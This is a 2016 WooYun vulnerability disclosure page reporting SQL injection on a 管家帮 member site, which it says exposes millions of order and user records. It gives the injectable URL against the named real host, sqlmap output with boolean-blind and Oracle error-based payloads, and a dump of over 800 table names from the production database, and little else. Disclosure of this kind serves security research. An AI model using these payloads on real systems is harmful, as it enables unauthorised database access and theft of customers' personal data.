当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0167320

漏洞标题：管家帮某站存在SQL注入漏洞（900万订单信息\700万用户信息）

相关厂商：管家帮

漏洞作者： 路人甲

提交时间：2016-01-05 09:34

修复时间：2016-02-12 18:49

公开时间：2016-02-12 18:49

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-05： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-02-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://member.95081.com/checkNum/checkMessage!checkMessage.action?loginName=-1' OR 1=1* --

1.png

2.png


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://member.95081.com:80/checkNum/checkMessage!checkMessage.action?loginName=-1' OR 1=1 AND 8171=8171 --
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: http://member.95081.com:80/checkNum/checkMessage!checkMessage.action?loginName=-1' OR 1=1 AND 7724=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(107)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (7724=7724) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(106)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) --
---
back-end DBMS: Oracle
Database: HAOGJ_V60
[820 tables]
+--------------------------------+
| ACCOUNT_TEMP                   |
| ACTIVITY_GROUP_AREA            |
| ALL_ORDER_GUANJB               |
| APP_KOUFEI                     |
| BABY_LOOKING_ANSWER            |
| BABY_LOOKING_QUESTION          |
| BABY_LOOKING_REMIND            |
| BAK_MAQ_EDJ_SERVICE            |
| BIOTOPE_BJ                     |
| BJ_MEMBER_ALL                  |
| BK_BILL_ALL                    |
| BK_HGJ_ORDER_FEE               |
| BMS_ADMIN                      |
| BMS_BASIC_ITEM                 |
| BMS_CODE                       |
| BMS_CODE_FATHER                |
| BMS_CODE_SON                   |
| BMS_ENTERPRISE_USER_AMOUNT     |
| BMS_ENTERPRISE_USER_DAILY      |
| BMS_ENTERPRISE_USER_MONTHLY    |
| BMS_GROUP                      |
| BMS_HOME_USER_AMOUNT           |
| BMS_HOME_USER_DAILY            |
| BMS_HOME_USER_MONTHLY          |
| BMS_INVESTIGATE_DAILY          |
| BMS_INVESTIGATE_MONTHLY        |
| BMS_LOG_LOGIN                  |
| BMS_MENU                       |
| BMS_OPERATE_LOG                |
| BMS_ORDER_DAILY                |
| BMS_ORDER_LOG                  |
| BMS_ORDER_MONTHLY              |
| BMS_ORDER_STATE_DAILY          |
| BMS_ORDER_STATE_MONTHLY        |
| BMS_REG_LOG                    |
| BMS_ROLE                       |
| BMS_ROLE_MENU                  |
| BUS_COMPANY                    |
| BUS_DRIVER                     |
| BUS_LOGIN                      |
| BUS_ORDER                      |
| BUS_PATH                       |
| BUS_PRICE                      |
| BUS_USER                       |
| CALL_ANSWER                    |
| CALL_LOG                       |
| CALL_OUT_LOG                   |
| CALL_QUESTION                  |
| CALL_QUESTION_VAL              |
| CALL_TASK                      |
| CALL_TASK_QUESTION             |
| CARD_BAT                       |
| CARD_CHONGZHI                  |
| CARD_INFO                      |
| CARD_INFO_BAT_QIYF             |
| CARD_INFO_NEW                  |
| CARD_INFO_NEWBAK               |
| CARD_INFO_OLDBAK               |
| CARD_INFO_QIXIAOF              |
| CARD_INFO_QIYF                 |
| CARD_USED                      |
| CELLID                         |
| CHAINED_ROWS                   |
| CITY_BILL_SUM                  |
| CITY_BOUNDS                    |
| CITY_GIFT                      |
| CITY_ORDER                     |
| CITY_ORDER_NUM                 |
| CITY_RATIO                     |
| CLICK_DRIVER_MOIBLE            |
| COMMENTS_INFO                  |
| COMMON_TEACHER_INFO            |
| CORP_SUBPHONE                  |
| CORP_VALIDATE                  |
| CUPON_USED                     |
| CUSTOMER_INFO                  |
| CUSTOMER_ORDER_ADDERSS         |
| DD2                            |
| DEPT_EDJ_DRIVER                |
| DEST_ORDER                     |
| DIALOGUE_VIDEO_INFO            |
| DJB_CALL_LOG                   |
| DKH_GOODS                      |
| DKH_GOODS_BK                   |
| DKH_GOODS_CLASS                |
| DKH_ORDER_DETAIL               |
| DKH_ORDER_REQUIER              |
| DRIVER_JOIN                    |
| DRIVINGCHARGES                 |
| DWB_USER                       |
| EDJ_ACCOUNT                    |
| EDJ_ACCOUNT_DETAIL             |
| EDJ_AREA                       |
| EDJ_BILL                       |
| EDJ_BLACK_LIST                 |
| EDJ_CALL_LOG                   |
| EDJ_CHARGE_STANDARD            |
| EDJ_CLIENT_CALL_LOG            |
| EDJ_COLLECT                    |
| EDJ_COMMENT                    |
| EDJ_CUSTOMER                   |
| EDJ_DRIVER                     |
| EDJ_DRIVER20141218             |
| EDJ_DRIVER20150407             |
| EDJ_DRIVER20150817             |
| EDJ_DRIVER20150825             |
| EDJ_DRIVERCALLBACK             |
| EDJ_DRIVER_EMOTTE              |
| EDJ_DRIVER_EMT                 |
| EDJ_DRIVER_LOG                 |
| EDJ_DRIVER_PATH                |
| EDJ_DRIVER_PEOPLE              |
| EDJ_DRIVER_RECORD              |
| EDJ_DRIVER_YM                  |
| EDJ_DWB_USER                   |
| EDJ_ERROR_LOG                  |
| EDJ_ESTAT_SERVICE              |
| EDJ_HOTELS                     |
| EDJ_INIT_LOG                   |
| EDJ_LOCATE_ERROR_LOG           |
| EDJ_MANAGER                    |
| EDJ_MATCH                      |
| EDJ_NOTICE                     |
| EDJ_NOTICE_TYPE                |
| EDJ_ORDER_SERVICE_EMT          |
| EDJ_PRICE                      |
| EDJ_SERVER_LOG                 |
| EDJ_SERVICE                    |
| EDJ_SERVICE_EMOTTE             |
| EDJ_SERVICE_EMOTTE_INFO        |
| EDJ_SERVICE_EMT                |
| EDJ_SERVICE_EMT_INFO_BASE      |
| EDJ_SERVICE_ORDER              |
| EDJ_SERVICE_ORDER_ALL          |
| EDJ_SERVICE_ORDER_EMT          |
| EDJ_SERVICE_STATISTICS         |
| EDJ_SERVICE_YM                 |
| EDJ_SERVICE_YM_NEWBAK          |
| EDJ_SPEC_PHONE                 |
| EDJ_USER_LOG                   |
| EDJ_USER_STATUS                |
| EDJ_USER_SUGGEST               |
| EDJ_VIP_DIRECTCALL_RECORDS     |
| EMAIL_SUBSCRIPTION             |
| EMOTE_ORDER_INFO_BK1           |
| EMOTTE_BALANCE                 |
| EMOTTE_DEST_FEE                |
| EMOTTE_FLOW                    |
| EMOTTE_FLOW1                   |
| EMOTTE_FLOW2                   |
| EMOTTE_FLOW_INIT               |
| EMOTTE_FLOW_INIT1              |
| EMOTTE_GJB_ORDER1              |
| EMOTTE_GJB_ORDER2              |
| EMOTTE_INCOME                  |
| EMOTTE_INCOME_FLOW             |
| EMOTTE_INCOME_INIT             |
| EMOTTE_INDEX_DATA              |
| EMOTTE_INDEX_SQL               |
| EMOTTE_MEMBER_INFO             |
| EMOTTE_MEMBER_REPLACE          |
| EMOTTE_MEMBER_REPLACE1         |
| EMOTTE_MEMBER_REPLACE2         |
| EMOTTE_ORDER_FEE_INFO          |
| EMOTTE_ORDER_INFO              |
| EMOTTE_PRICE                   |
| EMOTTE_PRICE1                  |
| EMOTTE_TEST_USER               |
| EMOTTE_USER                    |
| EMOTTE_USER_INFO               |
| EMOTTE_USER_INFO_ALL           |
| EMOTTE_USER_TP                 |
| EMS_ACCESS_CONFIG              |
| EMS_ACCESS_LOG                 |
| EMS_ADMIN_LOG                  |
| EMS_ATTRIBUTE                  |
| EMS_BOOKING_GOODS              |
| EMS_BRAND                      |
| EMS_CART                       |
| EMS_CATEGORY                   |
| EMS_CATEGORY_ZZ                |
| EMS_CAT_RECOMMEND              |
| EMS_COLLECT_GOODS              |
| EMS_COMMENT                    |
| EMS_GOODS                      |
| EMS_GOODS_ATTR_RELATION        |
| EMS_GOODS_CAT_RELATION         |
| EMS_GOODS_GROUP                |
| EMS_GOODS_LINK                 |
| EMS_GOODS_PIC                  |
| EMS_GOODS_TYPE                 |
| EMS_INVOICE                    |
| EMS_NAV                        |
| EMS_ORDER_GOODS                |
| EMS_ORDER_INFO                 |
| EMS_ORDER_LOG                  |
| EMS_PAYMENT                    |
| EMS_PAY_LOG                    |
| EMS_RETURNS_GOOD               |
| EMS_SEARCH_LOG                 |
| EMS_SHIPPING                   |
| EMS_SHIPPING_GOODS             |
| EMS_SHIPPING_LOG               |
| EMS_USER_ADDRESS               |
| EM_DEST                        |
| EPUB_AD_BASE                   |
| EPUB_AD_ORDER                  |
| ESPREAD_ACCOUNT                |
| ESPREAD_CONTRACT_BATCH_PRICE   |
| ESPREAD_CONTRACT_PRICE         |
| ESPREAD_ORDER_FEE              |
| ESPREAD_PAY_HISTORY            |
| ESPREAD_TOTAL_ORDER_FEE_DAY    |
| ESPREAD_TOTAL_ORDER_FEE_MONTH  |
| ESPREAD_USER                   |
| ESTATE_ORDER_OPERATION_MONTH   |
| ESTAT_ACCOUNT_MONTH            |
| ESTAT_APPLY_DAY                |
| ESTAT_APPLY_MONTH              |
| ESTAT_CALLKIND_DAY             |
| ESTAT_CALLKIND_MONTH           |
| ESTAT_CALLORDER_REPORT         |
| ESTAT_CONVENIENCE_DAY          |
| ESTAT_CONVENIENCE_MONTH        |
| ESTAT_CORP_SERVICE             |
| ESTAT_HX_ORDER                 |
| ESTAT_MENU_STAT                |
| ESTAT_OPERATOR_LOG_DAY         |
| ESTAT_OPERATOR_LOG_MONTH       |
| ESTAT_OPERATOR_ORDER_DAY       |
| ESTAT_OPERATOR_ORDER_MONTH     |
| ESTAT_ORDERFLOW_DAY            |
| ESTAT_ORDERFLOW_MONTH          |
| ESTAT_ORDERSATIS_DAY           |
| ESTAT_ORDERSATIS_MONTH         |
| ESTAT_ORDERSRC_ALL             |
| ESTAT_ORDERSRC_ALL_DB          |
| ESTAT_ORDERSRC_ALL_EXTEND      |
| ESTAT_ORDERSRC_ALL_OLD         |
| ESTAT_ORDERSRC_DAY             |
| ESTAT_ORDERSRC_MONTH           |
| ESTAT_ORDER_ADD_DAILY          |
| ESTAT_ORDER_ADD_DAILYBAK       |
| ESTAT_ORDER_ADD_MONTHLY        |
| ESTAT_ORDER_FEE_DAY            |
| ESTAT_ORDER_FEE_MONTH          |
| ESTAT_ORDER_MATCH_FAIL_DAY     |
| ESTAT_ORDER_MATCH_FAIL_MONTH   |
| ESTAT_ORDER_OPERATION_DAY      |
| ESTAT_ORDER_OPERATION_MONTH    |
| ESTAT_ORDER_SERV_DAY           |
| ESTAT_ORDER_SERV_MONTH         |
| ESTAT_REVORDER_DAY             |
| ESTAT_REVORDER_MONTH           |
| ESTAT_SERVICE                  |
| ESTAT_TOTAL                    |
| ESTAT_USER                     |
| ESTAT_USER_GROUP               |
| ESTAT_USER_MENU                |
| ESTAT_USER_ROLE                |
| EXPERT_AND_USER                |
| FIRST_ORDER                    |
| FRIENDLY_LINK_MANA             |
| GJBSERVICE                     |
| GJB_GOOD                       |
| GJB_GOOD_ALBUM                 |
| GJB_GOOD_BEIJ                  |
| GJB_SOUGOU_MAP                 |
| GPS_EQUIP_INFO                 |
| GPS_USER_INFO                  |
| GROUP_BANK_MIDDLE_DETAIL       |
| GROUP_INCOME_BANK_FLOW         |
| GUEST_INFO                     |
| HAOGJ_ORDER_ALL_DATA           |
| HEADER_BANNER_CITY             |
| HEADER_BANNER_CLASS            |
| HGJ_ACCOUNT_LOG                |
| HGJ_ACTIVE_MONTHER             |
| HGJ_ACTIVE_ONE_HOUR            |
| HGJ_ADVER_ORDER                |
| HGJ_ADVICE                     |
| HGJ_ALBUM                      |
| HGJ_APPLY_NEED                 |
| HGJ_APP_BAK                    |
| HGJ_APP_BL                     |
| HGJ_AWARD_HISTORY              |
| HGJ_BACK_HISTORY               |
| HGJ_BI1L                       |
| HGJ_BIL1                       |
| HGJ_BILL                       |
| HGJ_BILL_APP                   |
| HGJ_BILL_C1                    |
| HGJ_BILL_G                     |
| HGJ_BILL_INFO                  |
| HGJ_BILL_L                     |
| HGJ_BILL_TMP                   |
| HGJ_BLACKLIST_LOG              |
| HGJ_BROADCAST                  |
| HGJ_CALLOUT_NEW                |
| HGJ_CALLOUT_PROJECT            |
| HGJ_CALL_DETAIL                |
| HGJ_CALL_LOG                   |
| HGJ_CALL_TYPE                  |
| HGJ_CANCEL_ORDER               |
| HGJ_CHAT_MEMBER                |
| HGJ_CHECKID_LOG                |
| HGJ_CITY_HOURPRICE             |
| HGJ_CLASS                      |
| HGJ_CLASS_BJ                   |
| HGJ_CLASS_BK                   |
| HGJ_CLASS_BK150105             |
| HGJ_CLASS_BK150106             |
| HGJ_CLASS_BK150106BK           |
| HGJ_CLASS_BK150106BKZ          |
| HGJ_CLASS_BK150106LUZHANHUI    |
| HGJ_COMPLAINT                  |
| HGJ_CONTRACT                   |
| HGJ_CONTRACT_BATCH_PRICE       |
| HGJ_CONTRACT_PRICE             |
| HGJ_CONVENIENCE                |
| HGJ_COOPERATION                |
| HGJ_COOP_DISCOUNT              |
| HGJ_CORP_AD_IMAGE              |
| HGJ_CORP_ALBUM                 |
| HGJ_CORP_COMMENT               |
| HGJ_CORP_CREDIT                |
| HGJ_CORP_EMPLOYEE              |
| HGJ_CORP_ITEM_FEE              |
| HGJ_CORP_PIC                   |
| HGJ_CORP_RECOMMAND             |
| HGJ_COUNT                      |
| HGJ_CUSTOMER                   |
| HGJ_DIFF                       |
| HGJ_DIVERT                     |
| HGJ_DOMAIN                     |
| HGJ_EMPLOYEE_BASE              |
| HGJ_EMPLOYEE_HISTORY           |
| HGJ_EMP_COMMENT                |
| HGJ_EVAL_DETAIL                |
| HGJ_EVAL_HISTORY               |
| HGJ_EVAL_QUESTION              |
| HGJ_EXPONENT                   |
| HGJ_FAIL_ORDER_SHOW            |
| HGJ_GIFT                       |
| HGJ_GOODS_CREDIT               |
| HGJ_GROUD_SELLER               |
| HGJ_HEADER_BANNER              |
| HGJ_HOME_USER                  |
| HGJ_HOT_LINE                   |
| HGJ_INCOME                     |
| HGJ_INCOME1                    |
| HGJ_INTEGRAL_INFO              |
| HGJ_INTEGRAL_USER              |
| HGJ_INVESTIGATE                |
| HGJ_INVITE_CORP                |
| HGJ_INVITE_EMPLOYEE            |
| HGJ_JOIN_CORP                  |
| HGJ_KEYWORDS_LOG               |
| HGJ_KEYWORDS_MANAGE            |
| HGJ_KEY_WORD                   |
| HGJ_KIND_REPORT                |
| HGJ_LEFT_ORDER_LOG             |
| HGJ_MAP_INFO                   |
| HGJ_MEMBERPAY_LOG              |
| HGJ_MEMBER_90                  |
| HGJ_MEMBER_ACCOUNT             |
| HGJ_MEMBER_ACCOUNT20141212     |
| HGJ_MEMBER_BASE                |
| HGJ_MEMBER_BASE_ZHANGZ         |
| HGJ_MEMBER_CODE                |
| HGJ_MEMBER_COMMENT             |
| HGJ_MEMBER_EXTEND              |
| HGJ_MEMBER_INDEX_LEVEL         |
| HGJ_MEMBER_LOG                 |
| HGJ_MEMBER_NUM                 |
| HGJ_MEMBER_OPEN                |
| HGJ_MEMBER_ORDER               |
| HGJ_MEMBER_PARENT              |
| HGJ_MEMBER_PAY                 |
| HGJ_MEMBER_QUOTA               |
| HGJ_MEMBER_REPORT              |
| HGJ_MEMBER_SERVICE             |
| HGJ_MESSAGES_LOG               |
| HGJ_MESSAGE_LINK               |
| HGJ_MESSAGE_SEND               |
| HGJ_NEWS                       |
| HGJ_OABLL                      |
| HGJ_OA_BL                      |
| HGJ_ORDER_ALL                  |
| HGJ_ORDER_BASE                 |
| HGJ_ORDER_BASE0824             |
| HGJ_ORDER_BASE_BK              |
| HGJ_ORDER_CHANNEL              |
| HGJ_ORDER_DEST                 |
| HGJ_ORDER_EXTEND               |
| HGJ_ORDER_FEE_DETAIL           |
| HGJ_ORDER_FEE_DETAILBK15010112 |
| HGJ_ORDER_FEE_HISTORY          |
| HGJ_ORDER_FEE_INFO             |
| HGJ_ORDER_INFO                 |
| HGJ_ORDER_MATCH                |
| HGJ_ORDER_MATCH_TEST           |
| HGJ_ORDER_MEMBER               |
| HGJ_ORDER_MODEL                |
| HGJ_ORDER_OVER_TIME            |
| HGJ_ORDER_SERVICE              |
| HGJ_ORDER_XML                  |
| HGJ_ORDER_XMLINFO              |
| HGJ_ORDER_XML_13               |
| HGJ_ORDER_XML_LJQ              |
| HGJ_OTHER_SERVICE              |
| HGJ_PERSONAL_ACCOUNT           |
| HGJ_PUBLISH_ITEM               |
| HGJ_PUBLISH_ITEMANSWER         |
| HGJ_PUBLISH_TEMPLATE           |
| HGJ_PUB_INFO                   |
| HGJ_PUB_INFO_ITEM              |
| HGJ_PUB_TOP_LOG                |
| HGJ_QUESTIONARY_ANSWER         |
| HGJ_QUESTIONARY_QUESTION       |
| HGJ_QUESTIONARY_SHEET          |
| HGJ_REALINFO                   |
| HGJ_REGION                     |
| HGJ_REGION_TREE                |
| HGJ_SCORERECORD                |
| HGJ_SERVICE_PERSONNEL          |
| HGJ_SHORT_URL                  |
| HGJ_SMS_SEND                   |
| HGJ_SUPPORT_INFO               |
| HGJ_TEMP_PRICE                 |
| HGJ_TJ                         |
| HGJ_USER                       |
| HGJ_USER_CORPSET               |
| HGJ_USER_CREDIT                |
| HGJ_USER_CREDIT_HISTORY        |
| HGJ_VIP                        |
| HGJ_VIP_CARD                   |
| HGJ_VOTER                      |
| HGJ_VOTERECORD                 |
| HGJ_WEB_FEE_DETAIL             |
| HGJ_WEB_ORDER                  |
| HGJ_WEB_ORDER_BB               |
| HGJ_WWW_ORDER                  |
| HOMEORDERGROUP                 |
| HOME_COMPLAINT                 |
| HOME_ORDERSHOW                 |
| HOME_PHOTO                     |
| HOME_REMARK                    |
| HOME_REMARK_BY_SERVICE         |
| HOME_SCORES                    |
| HOME_SCORE_CATALOG             |
| HOT_KEY_WORD                   |
| HX_AGENT_CALL_DETAIL_BEIJING   |
| HX_AGENT_CALL_DETAIL_CITY      |
| HX_AGENT_CALL_DETAIL_EXTEND    |
| INCOME_TOTAL                   |
| JZ                             |
| JZB_COMPANY                    |
| JZB_SERVICE_PERSONNEL          |
| JZB_SERVICE_PRICE              |
| JZB_TEMP                       |
| JZB_TEMP1                      |
| JZB_TEMP2                      |
| JZ_STORES                      |
| J_BILL_INFO                    |
| J_BILL_INFO_LANT               |
| J_BILL_INFO_LANT123            |
| J_BILL_LOG                     |
| J_BILL_RECORD                  |
| J_BILL_RECORD_LANT             |
| J_CHECK_PRODUCT                |
| J_CHECK_PRODUCT_LANT           |
| J_CHECK_STORE                  |
| J_CHECK_STORE_LANT             |
| J_ORDER_INFO                   |
| J_ORDER_INFO_LANT              |
| J_PRODUCT_INFO                 |
| J_PRODUCT_INFO_LANT            |
| LBS_DATA                       |
| LBS_DATA1                      |
| LBS_DATA2                      |
| LBS_DATA_CDMA                  |
| LBS_ERROR_DATA                 |
| LBS_HISTORY                    |
| LBS_STATUS                     |
| LIYT_TEST_USER                 |
| MANAGZINE_MANAGEMENT           |
| MEMBER_REP                     |
| MEMBER_ZF                      |
| MEMBER_ZF1                     |
| MLOG$_TEST_USER                |
| MMS_USER_TEST                  |
| MOBILE_CLIENT                  |
| MOVE_CAR                       |
| MOVE_CAR_HISTORY               |
| MOVE_CAR_PERSON                |
| MOVE_PERSON                    |
| NEWS_TYPE                      |
| NHXX_DISTRIBUTION_AREA         |
| NHXX_GOODS                     |
| NHXX_ORDER_REQUIRE             |
| NHXX_TASK                      |
| OK_DATA_INFO                   |
| OPERATOR_RECORD                |
| ORDER_AND_CONFIRM              |
| ORDER_MAP                      |
| ORDER_USER                     |
| ORDER_USER2                    |
| ORDER_USER3                    |
| PAY_DATA                       |
| PAY_ORDER                      |
| PAY_ORDER_V2                   |
| PAY_PLATFORM                   |
| PAY_REGISTER                   |
| PAY_ZHIFUBAO                   |
| PERSON_PERCENT_CITY            |
| PERSON_PERCENT_COUNTY          |
| PHONE_NAME                     |
| PINGJIA_ZUHE                   |
| PINGYIN_CODE_NAME              |
| PINYIN_COD_NAME                |
| PLSQL_PROFILER_DATA            |
| PLSQL_PROFILER_RUNS            |
| PLSQL_PROFILER_UNITS           |
| POLICY_LAW                     |
| PUBLISH_COMPLAINT_MANA         |
| PUBLISH_MESSAGE                |
| RESIDENTS_MESSAGE_BOARD        |
| RUPD$_TEST_USER                |
| SA                             |
| SELECT_USER_RECORD             |
| SEND_MESSAGE_INFO              |
| SERVICE_PERSON_REGIST          |
| SHOW_WEB_PERSONNEL             |
| SJB_EVENTS                     |
| SJB_GUESS                      |
| SMS_CLASS_COURSE               |
| SMS_CLASS_MANAGER              |
| SMS_COURSE_MANAGER             |
| SMS_LABOR_DISPATCH             |
| SMS_ORDER_TRAIN                |
| SMS_STUDENT_BASE               |
| SMS_STUDENT_CLASS              |
| SMS_TEA_MANAGER                |
| SMS_TRAIN_AUDIT                |
| SP_MOBILE                      |
| SS1                            |
| STATISTICSCLIENTPERSON20130411 |
| STATISTICS_CLIENT              |
| STATISTICS_CLIENT1             |
| STATISTICS_CLIENT2             |
| STATISTICS_CLIENT_LILANG       |
| STATISTICS_CLIENT_OTHER        |
| STATISTICS_CLIENT_PERSON       |
| STATISTICS_CLIENT_PERSON_DATA  |
| STATISTICS_CLIENT_PERSON_IDG   |
| STATISTICS_CLIENT_PERSON_INFO  |
| STATISTICS_CLIENT_PER_INFO_HS  |
| STATISTICS_CLIENT_P_I_0427     |
| STATISTICS_INCOME_DETAIL       |
| STATISTIC_INCOME_TOTAL         |
| STAT_IN_DETAILWWWWW            |
| STAT_MEMBER_CITY               |
| STAT_MEMBER_CITY_M             |
| STAT_ORDER_CITY                |
| STAT_SANTY                     |
| STAT_USER_CITY                 |
| STAT_USER_CITY_M               |
| ST_BILL_ORDER_DAILY            |
| ST_BILL_ORDER_MONTHLY          |
| ST_BILL_STATISTIC_DAILY        |
| ST_BILL_STATISTIC_MONTHLY      |
| ST_CALLOUT_MEMBER_DAILY        |
| ST_CALLOUT_MEMBER_MONTHLY      |
| ST_CALLOUT_STATUS_DAILY        |
| ST_CALLOUT_STATUS_MONTHLY      |
| ST_CORP_ORDER_DAILY            |
| ST_CORP_ORDER_MONTHLY          |
| ST_FINISH_ORDER_DAILY          |
| ST_FINISH_ORDER_MONTHLY        |
| ST_HGJ_EMPLOYEE_ORDER_DAY      |
| ST_HGJ_EMPLOYEE_ORDER_MONTH    |
| ST_HGJ_MEMBER_ORDER_DAY        |
| ST_HGJ_MEMBER_ORDER_MONTH      |
| ST_HJ_ORDER_ADD_DAILY          |
| ST_HJ_ORDER_ADD_MONTHLY        |
| ST_HJ_ORDER_FEEDBACK_DAILY     |
| ST_HJ_ORDER_FEEDBACK_MONTHLY   |
| ST_HJ_ORDER_FLOW_DAILY         |
| ST_HJ_ORDER_FLOW_MONTHLY       |
| ST_HJ_ORDER_INV_DAILY          |
| ST_HJ_ORDER_INV_MONTHLY        |
| ST_HJ_ORDER_MATCH_FAIL_DAILY   |
| ST_HJ_ORDER_MATCH_FAIL_MONTHLY |
| ST_HJ_ORDER_OPERATION_DAILY    |
| ST_HJ_ORDER_OPERATION_MONTHLY  |
| ST_HJ_ORDER_OPERATOR_DAILY     |
| ST_HJ_ORDER_OPERATOR_MONTHLY   |
| ST_HJ_ORDER_REVOKE_DAILY       |
| ST_HJ_ORDER_REVOKE_MONTHLY     |
| ST_HJ_O_FEEDBACK_CORP_DAILY    |
| ST_HJ_O_FEEDBACK_CORP_MONTHLY  |
| ST_HX_MEMBER_BASE_NEW_DAILY    |
| ST_HX_MEMBER_BASE_NEW_MONTHLY  |
| ST_HX_MEMBER_BASE_ORDER        |
| ST_HX_MEMBER_BASE_SUM          |
| ST_HX_MEMBER_MANAGER_DAILY     |
| ST_HX_MEMBER_MANAGER_MONTHLY   |
| ST_ORDER_LOG_DAILY             |
| ST_ORDER_LOG_MONTHLY           |
| SYS_EXPORT_SCHEMA_01           |
| SYS_REMARKE                    |
| T1                             |
| T1031_ADDRESS                  |
| T1031_DEST_ORDER               |
| T1031_FEE_INFO                 |
| T1031_ORDER_BASE               |
| T1031_ORDER_BASE1              |
| T1031_ORDER_BASE2              |
| T1031_ORDER_BASE3              |
| T1031_ORDER_BASE4              |
| T1031_ORDER_BASE5              |
| T1031_ORDER_BASE6              |
| T1031_ORDER_BASE7              |
| T1031_ORDER_BASE8              |
| T1031_ORDER_BASE_1117          |
| T1031_ORDER_DEMO               |
| T1031_ORDER_TMP                |
| T1031_ORDER_TMP1               |
| T1031_TMP                      |
| T1031_TMP1                     |
| T1031_TMP_ORDER                |
| T1031_USER                     |
| T1031_USER_INFO                |
| T1031_USER_INFO1               |
| T1031_USER_MAP                 |
| T1031_USER_MODEL               |
| T1031_USER_NOADDRESS           |
| T1031_USER_TMP                 |
| T1031_USER_TMP1                |
| TAXI_SERVICE                   |
| TEMP_123                       |
| TEMP_67                        |
| TEMP_CALL                      |
| TEMP_DELREMARK_BAK             |
| TEMP_EDJ_FEE                   |
| TEMP_EDJ_ORDER_SERVICE_EMT     |
| TEMP_EDJ_SERVICE_ID            |
| TEMP_EDJ_SERVICE_MOB_DIB       |
| TEMP_EDJ_SERVICE_TEMP          |
| TEMP_EDJ_SERVICE_TEMP_TEMP     |
| TEMP_EMOTTE_USER_DIB           |
| TEMP_HGJ_CLASS_COOPID          |
| TEMP_HGJ_MEMBER_ACCOUNT        |
| TEMP_HGJ_ORDER                 |
| TEMP_HGJ_WEB_ORDER             |
| TEMP_ID                        |
| TEMP_MOB2014                   |
| TEMP_MOB2014_2014              |
| TEMP_MOBILE_CITY               |
| TEMP_MOB_1                     |
| TEMP_MOB_1_1                   |
| TEMP_MOB_RN                    |
| TEMP_MYID                      |
| TEMP_ORDER_ID                  |
| TEMP_PJ                        |
| TEMP_REMARK                    |
| TEMP_SCP                       |
| TEMP_SERMOB                    |
| TEMP_SERVICE                   |
| TEMP_SERVICE0519               |
| TEMP_SERVICE_USER              |
| TEMP_SER_ID                    |
| TEMP_TEMP                      |
| TEMP_TTT                       |
| TEMP_WORKINFO                  |
| TEMP_XY                        |
| TEST111                        |
| TESTLIYUNTAO                   |
| TEST_A                         |
| TEST_A1                        |
| TEST_B                         |
| TEST_BILL_2013                 |
| TEST_BZ                        |
| TEST_CITY                      |
| TEST_CITY_PHONE                |
| TEST_CITY_PHONE1               |
| TEST_CORP                      |
| TEST_CORP1                     |
| TEST_CORP2                     |
| TEST_CORP3                     |
| TEST_EDIT_MEMBER               |
| TEST_G1                        |
| TEST_MEMBER                    |
| TEST_MEMBER1                   |
| TEST_MEMBER_G                  |
| TEST_NAME_1031                 |
| TEST_O1                        |
| TEST_O2                        |
| TEST_ORDER_ALL                 |
| TEST_P                         |
| TEST_STY                       |
| TEST_STY1                      |
| TEST_STY2                      |
| TEST_ST_ORDER                  |
| TEST_ST_USER                   |
| TEST_ST_USER1                  |
| TEST_ST_USER2                  |
| TEST_T1                        |
| TEST_TMP                       |
| TEST_U1                        |
| TEST_U2                        |
| TEST_U3                        |
| TEST_U4                        |
| TEST_USER                      |
| TEST_USER_SH                   |
| TMP_CHECK_UN                   |
| TMP_FEE_DETAIL                 |
| TMP_ID                         |
| TMP_IMEI                       |
| TMP_MEMBER                     |
| TMP_REMARK_CONTENT             |
| TMP_TB                         |
| TMP_USER_COUNT                 |
| TRAINNING_CORP                 |
| TRAINNING_JOBS_TYPE            |
| TRAINNING_SEMESTER_STUDENTS    |
| TRAINNING_STUDENT_ADMIN        |
| TRAINNING_TERMERS              |
| TRAIN_VIDEO_MANA               |
| TS_INFO_NEWS                   |
| T_BMS_LOG_ACT                  |
| T_BMS_LOG_IN                   |
| T_COMPAY_NUMBER_XDP            |
| T_CUSTOMER_BASE_INFO           |
| T_EDJ_SERVICE                  |
| T_HOME_REMARK_SERVICE          |
| T_HOME_SCORES                  |
| T_PAY_DATA                     |
| T_REMARK                       |
| USER_AND_BIAO                  |
| USER_AWARD_RECORD              |
| USER_COMPLAINT                 |
| USER_INFORM_INFO               |
| USER_REPORT                    |
| USER_SURVEY                    |
| UTIL_BILL                      |
| UTIL_BILL_ORDER_COUNT          |
| UTIL_CITY                      |
| UTIL_KIND                      |
| UTIL_KIND1                     |
| UTIL_MEMBER                    |
| UTIL_MEMBER_BASE               |
| UTIL_PRICE                     |
| UTIL_STAT_FEE                  |
| UTIL_STAT_ORDER                |
| UTIL_STAT_ORDERALL             |
| UTIL_SUCC_USER                 |
| UTIL_USER                      |
| UTIL_USER_LOG                  |
| UTIL_USER_LOG_ALL              |
| UTIL_USER_LOG_NEW              |
| VIEW_INVESTIGATE_REAL          |
| VIP_PAY_RECORD                 |
| V_HOUSE_WORKER_CONFIG          |
| WEIXIN_CLEAR_LOG               |
| WEIXIN_GUEST                   |
| WEIXIN_PLAYER                  |
| WIN_QIAN_DAO                   |
| WX_ACTIVITY                    |
| WX_ACTIVITY_USER               |
| WX_ACTIVTY_COUPON              |
| WX_CROWDFUNDING_PART           |
| WX_CROWDFUNDING_ROUND          |
| WX_CUSTOM_SERVICE              |
| WX_KANJIA                      |
| WX_MES                         |
| WX_USER                        |
| YCDJ_MEMBER                    |
| YCDJ_MEMBER_USER               |
| YONGHU_ADDRESS_WDM             |
| YONGHU_WDM                     |
| YOYO                           |
| ZL_ALARM                       |
| ZL_ALARM_TEMP                  |
| ZL_APPLY_SUBSIDY_INFO          |
| ZL_BATCARD                     |
| ZL_BLOOD_OXYGEN                |
